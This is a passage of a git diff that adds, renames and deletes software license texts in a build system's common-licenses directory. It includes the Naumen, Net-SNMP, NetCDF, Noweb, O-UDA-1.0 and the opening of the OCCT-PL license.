+THE SOFTWARE PROVIDED BY NRL IS PROVIDED BY NRL AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL NRL OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+The views and conclusions contained in the software and documentation are those of the authors and should not be interpreted as representing official policies, either expressed or implied, of the US Naval Research Laboratory (NRL).
diff --git a/meta/files/common-licenses/NTP-0 b/meta/files/common-licenses/NTP-0
new file mode 100644
index 0000000000..84a2bdf6e6
--- /dev/null
+++ b/meta/files/common-licenses/NTP-0
@@ -0,0 +1,5 @@
+NTP No Attribution (NTP-0)
+
+Copyright (4-digit-year) by (CopyrightHoldersName)
+
+Permission to use, copy, modify, and distribute this software and its documentation for any purpose is hereby granted, provided that the name of (TrademarkedName) not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. (TrademarkedName) make no representations about the suitability of this software for any purpose. It is provided "as is" without express or implied warranty.
diff --git a/meta/files/common-licenses/Nauman b/meta/files/common-licenses/Nauman
deleted file mode 100644
index 69ce785ff3..0000000000
--- a/meta/files/common-licenses/Nauman
+++ /dev/null
@@ -1,50 +0,0 @@
-
-NAUMEN Public License
-This software is Copyright (c) NAUMEN (tm) and Contributors.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or
-without modification, are permitted provided that the following
-conditions are met:
-
-1. Redistributions in source code must retain the above
-copyright notice, this list of conditions, and the following
-disclaimer.
-
-2. Redistributions in binary form must reproduce the above
-copyright notice, this list of conditions, and the following
-disclaimer in the documentation and/or other materials
-provided with the distribution.
-
-3. The name NAUMEN (tm) must not be used to
-endorse or promote products derived from this software without prior
-written permission from NAUMEN.
-
-4. The right to distribute this software or to use it for any
-purpose does not give you the right to use Servicemarks (sm)
-or Trademarks (tm) of NAUMEN.
-
-5. If any files originating from NAUMEN or Contributors are modified, you must
-cause the modified files to carry prominent notices stating
-that you changed the files and the date of any change.
-
-Disclaimer:
-
-THIS SOFTWARE IS PROVIDED BY NAUMEN "AS IS" AND ANY EXPRESSED
-OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
-PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL NAUMEN
-OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
-INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
-GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
-WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
-NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
-THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
-DAMAGE.
-
-This software consists of contributions made by NAUMEN
-and Contributors. Specific attributions are listed in the
-accompanying credits file.
-
diff --git a/meta/files/common-licenses/Naumen b/meta/files/common-licenses/Naumen
new file mode 100644
index 0000000000..95411eecee
--- /dev/null
+++ b/meta/files/common-licenses/Naumen
@@ -0,0 +1,21 @@
+NAUMEN Public License
+
+This software is Copyright (c) NAUMEN (tm) and Contributors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions in source code must retain the above copyright notice, this list of conditions, and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name NAUMEN (tm) must not be used to endorse or promote products derived from this software without prior written permission from NAUMEN.
+
+4. The right to distribute this software or to use it for any purpose does not give you the right to use Servicemarks (sm) or Trademarks (tm) of NAUMEN.
+
+5. If any files originating from NAUMEN or Contributors are modified, you must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.
+
+Disclaimer:
+
+THIS SOFTWARE IS PROVIDED BY NAUMEN "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL NAUMEN OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+This software consists of contributions made by NAUMEN and Contributors. Specific attributions are listed in the accompanying credits file.
diff --git a/meta/files/common-licenses/Net-SNMP b/meta/files/common-licenses/Net-SNMP
new file mode 100644
index 0000000000..9ec271072f
--- /dev/null
+++ b/meta/files/common-licenses/Net-SNMP
@@ -0,0 +1,107 @@
+ ---- Part 1: CMU/UCD copyright notice: (BSD like) -----
+
+ Copyright 1989, 1991, 1992 by Carnegie Mellon University
+
+ Derivative Work - 1996, 1998-2000 Copyright 1996, 1998-2000 The Regents of the University of California
+
+ All Rights Reserved
+
+Permission to use, copy, modify and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appears in all copies and that both that copyright notice and this permission notice appear in supporting documentation, and that the name of CMU and The Regents of the University of California not be used in advertising or publicity pertaining to distribution of the software without specific written permission.
+
+CMU AND THE REGENTS OF THE UNIVERSITY OF CALIFORNIA DISCLAIM ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL CMU OR THE REGENTS OF THE UNIVERSITY OF CALIFORNIA BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM THE LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
+---- Part 2: Networks Associates Technology, Inc copyright notice (BSD) -----
+
+Copyright (c) 2001-2003, Networks Associates Technology, Inc All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of the Networks Associates Technology, Inc nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 3: Cambridge Broadband Ltd. copyright notice (BSD) -----
+
+Portions of this code are copyright (c) 2001-2003, Cambridge Broadband Ltd. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * The name of Cambridge Broadband Ltd. may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 4: Sun Microsystems, Inc. copyright notice (BSD) -----
+
+Copyright © 2003 Sun Microsystems, Inc., 4150 Network Circle, Santa Clara, California 95054, U.S.A. All rights reserved.
+
+Use is subject to license terms below.
+
+This distribution may include materials developed by third parties.
+
+Sun, Sun Microsystems, the Sun logo and Solaris are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and other countries.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * Neither the name of the Sun Microsystems, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 5: Sparta, Inc copyright notice (BSD) -----
+
+Copyright (c) 2003-2009, Sparta, Inc All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of Sparta, Inc nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 6: Cisco/BUPTNIC copyright notice (BSD) -----
+
+Copyright (c) 2004, Cisco, Inc and Information Network Center of Beijing University of Posts and Telecommunications. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of Cisco, Inc, Beijing University of Posts and Telecommunications, nor the names of their contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 7: Fabasoft R&D Software GmbH & Co KG copyright notice (BSD) -----
+
+Copyright (c) Fabasoft R&D Software GmbH & Co KG, 2003 oss@fabasoft.com Author: Bernhard Penz
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * The name of Fabasoft R&D Software GmbH & Co KG or any of its subsidiaries, brand or product names may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 8: Apple Inc. copyright notice (BSD) -----
+
+Copyright (c) 2007 Apple Inc. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ 3. Neither the name of Apple Inc. ("Apple") nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 9: ScienceLogic, LLC copyright notice (BSD) -----
+
+Copyright (c) 2009, ScienceLogic, LLC All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of ScienceLogic, LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/NetCDF b/meta/files/common-licenses/NetCDF
new file mode 100644
index 0000000000..1a54965287
--- /dev/null
+++ b/meta/files/common-licenses/NetCDF
@@ -0,0 +1,7 @@
+Copyright 1993-2014 University Corporation for Atmospheric Research/Unidata
+
+Portions of this software were developed by the Unidata Program at the University Corporation for Atmospheric Research.
+
+Access and use of this software shall impose the following obligations and understandings on the user. The user is granted the right, without any fee or cost, to use, copy, modify, alter, enhance and distribute this software, and any derivative works thereof, and its supporting documentation for any purpose whatsoever, provided that this entire notice appears in all copies of the software, derivative works and supporting documentation. Further, UCAR requests that the user credit UCAR/Unidata in any publications that result from the use of this software or in any product that includes this software, although this is not an obligation. The names UCAR and/or Unidata, however, may not be used in any advertising or publicity to endorse or promote any products or commercial entity unless specific written permission is obtained from UCAR/Unidata. The user also understands that UCAR/Unidata is not obligated to provide the user with any support, consulting, training or assistance of any kind with regard to the use, operation and performance of this software nor to provide the user with any updates, revisions, new versions or "bug fixes."
+
+THIS SOFTWARE IS PROVIDED BY UCAR/UNIDATA "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL UCAR/UNIDATA BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE ACCESS, USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/Newsletr b/meta/files/common-licenses/Newsletr
new file mode 100644
index 0000000000..e91de7bd0b
--- /dev/null
+++ b/meta/files/common-licenses/Newsletr
@@ -0,0 +1,7 @@
+Copyright 1989--2004 by Hunter Goatley.
+
+Permission is granted to anyone to use this software for any purpose on any computer system, and to redistribute it freely, subject to the following restrictions:
+
+1. This software is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+2. Altered versions must be plainly marked as such, and must not be misrepresented as being the original software.
diff --git a/meta/files/common-licenses/Noweb b/meta/files/common-licenses/Noweb
new file mode 100644
index 0000000000..8271989fb9
--- /dev/null
+++ b/meta/files/common-licenses/Noweb
@@ -0,0 +1,9 @@
+Noweb is copyright 1989-2000 by Norman Ramsey. All rights reserved.
+
+Noweb is protected by copyright. It is not public-domain software or shareware, and it is not protected by a ``copyleft'' agreement like the one used by the Free Software Foundation.
+
+Noweb is available free for any use in any field of endeavor. You may redistribute noweb in whole or in part provided you acknowledge its source and include this COPYRIGHT file. You may modify noweb and create derived works, provided you retain this copyright notice, but the result may not be called noweb without my written consent.
+
+You may sell noweb if you wish. For example, you may sell a CD-ROM including noweb.
+
+You may sell a derived work, provided that all source code for your derived work is available, at no additional charge, to anyone who buys your derived work in any form. You must give permisson for said source code to be used and modified under the terms of this license. You must state clearly that your work uses or is based on noweb and that noweb is available free of change. You must also request that bug reports on your work be reported to you.
diff --git a/meta/files/common-licenses/O-UDA-1.0 b/meta/files/common-licenses/O-UDA-1.0
new file mode 100644
index 0000000000..cf4b2bc9a1
--- /dev/null
+++ b/meta/files/common-licenses/O-UDA-1.0
@@ -0,0 +1,47 @@
+Open Use of Data Agreement v1.0
+
+This is the Open Use of Data Agreement, Version 1.0 (the "O-UDA"). Capitalized terms are defined in Section 5. Data Provider and you agree as follows:
+
+1. Provision of the Data
+
+ 1.1. You may use, modify, and distribute the Data made available to you by the Data Provider under this O-UDA if you follow the O-UDA's terms.
+
+ 1.2. Data Provider will not sue you or any Downstream Recipient for any claim arising out of the use, modification, or distribution of the Data provided you meet the terms of the O-UDA.
+
+ 1.3 This O-UDA does not restrict your use, modification, or distribution of any portions of the Data that are in the public domain or that may be used, modified, or distributed under any other legal exception or limitation.
+
+2. No Restrictions on Use or Results
+
+ 2.1. The O-UDA does not impose any restriction with respect to:
+
+ 2.1.1. the use or modification of Data; or
+
+ 2.1.2. the use, modification, or distribution of Results.
+
+3. Redistribution of Data
+
+ 3.1. You may redistribute the Data under terms of your choice, so long as:
+
+ 3.1.1. You include with any Data you redistribute all credit or attribution information that you received with the Data, and your terms require any Downstream Recipient to do the same; and
+
+ 3.1.2. Your terms include a warranty disclaimer and limitation of liability for Upstream Data Providers at least as broad as those contained in Section 4.2 and 4.3 of the O-UDA.
+
+4. No Warranty, Limitation of Liability
+
+ 4.1. Data Provider does not represent or warrant that it has any rights whatsoever in the Data.
+
+ 4.2. THE DATA IS PROVIDED ON AN “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+ 4.3. NEITHER DATA PROVIDER NOR ANY UPSTREAM DATA PROVIDER SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE DATA OR RESULTS, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+5. Definitions
+
+ 5.1. "Data" means the material you receive under the O-UDA in modified or unmodified form, but not including Results.
+
+ 5.2. "Data Provider" means the source from which you receive the Data and with whom you enter into the O-UDA.
+
+ 5.3. "Downstream Recipient" means any person or persons who receives the Data directly or indirectly from you in accordance with the O-UDA.
+
+ 5.4. "Result" means anything that you develop or improve from your use of Data that does not include more than a de minimis portion of the Data on which the use is based. Results may include de minimis portions of the Data necessary to report on or explain use that has been conducted with the Data, such as figures in scientific papers, but do not include more. Artificial intelligence models trained on Data (and which do not include more than a de minimis portion of Data) are Results.
+
+ 5.5. "Upstream Data Providers" means the source or sources from which the Data Provider directly or indirectly received, under the terms of the O-UDA, material that is included in the Data.
diff --git a/meta/files/common-licenses/OCCT-PL b/meta/files/common-licenses/OCCT-PL
new file mode 100644
index 0000000000..85df3c73c5
--- /dev/null
+++ b/meta/files/common-licenses/OCCT-PL
@@ -0,0 +1,112 @@
+Open CASCADE Technology Public License
+Version 6.6, April 2013
+
+OPEN CASCADE releases and makes publicly available the source code of the software Open CASCADE Technology to the free software development community under the terms and conditions of this license.
+
+It is not the purpose of this license to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this license has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.
+
+Please read this license carefully and completely before downloading this software. By downloading, using, modifying, distributing and sublicensing this software, you indicate your acceptance to be bound by the terms and conditions of this license. If you do not want to accept or cannot accept for any reasons the terms and conditions of this license, please do not download or use in any manner this software.
+1. Definitions
+
+Unless there is something in the subject matter or in the context inconsistent therewith, the capitalized terms used in this License shall have the following meaning.
+
+"Applicable Intellectual Property Rights" means (a) with respect to the Initial Developer, any rights under patents or patents applications or other intellectual property rights that are now or hereafter acquired, owned by or assigned to the Initial Developer and that cover subject matter contained in the Original Code, but only to the extent necessary to use, reproduce, modify, distribute or sublicense the Original Code without infringement; and (b) with respect to You or any Contributor, any rights under patents or patents applications or other intellectual property rights that are now or hereafter acquired, owned by or assigned to You or to such Contributor and that cover subject matter contained in Your Modifications or in such Contributor's Modifications, taken alone or in combination with Original Code.
+
+"Contributor" means each individual or legal entity that creates or contributes to the creation of any Modification, including the Initial Developer.
+
+"Derivative Program": means a new program combining the Software or portions thereof with other source code not governed by the terms of this License.
+
+"Initial Developer": means OPEN CASCADE, with main offices at 1, place des Frères Montgolfier, 78280, Guyancourt, France.
+
+"Modifications": mean any addition to, deletion from or change to the substance or the structure of the Software. When source code of the Software is released as a series of files, a Modification is: (a) any addition to, deletion from or change to the contents of a file containing the Software or (b) any new file or other representation of computer program statements that contains any part of the Software. By way of example, Modifications include any debug of, or improvement to, the Original Code or any of its components or portions as well as its next versions or releases thereof.
+
+"Original Code": means (a) the source code of the software Open CASCADE Technology originally made available by the Initial Developer under this License, including the source code of any updates or upgrades of the Original Code and (b) the object code compiled from such source code and originally made available by Initial Developer under this License.
+
+"Software": means the Original Code, the Modifications, the combination of Original Code and any Modifications or any respective portions thereof.
+
+"You" or "Your": means an individual or a legal entity exercising rights under this License
+2. Acceptance of license
+By using, reproducing, modifying, distributing or sublicensing the Software or any portion thereof, You expressly indicate Your acceptance of the terms and conditions of this License and undertake to act in accordance with all the provisions of this License applicable to You.
+3. Scope and purpose
+This License applies to the Software and You may not use, reproduce, modify, distribute, sublicense or circulate the Software, or any portion thereof, except as expressly provided under this License. Any attempt to otherwise use, reproduce, modify, distribute or sublicense the Software is void and will automatically terminate Your rights under this License.
+4. Contributor license
+Subject to the terms and conditions of this License, the Initial Developer and each of the Contributors hereby grant You a world-wide, royalty-free, irrevocable and non-exclusive license under the Applicable Intellectual Property Rights they own or control, to use, reproduce, modify, distribute and sublicense the Software provided that:
+
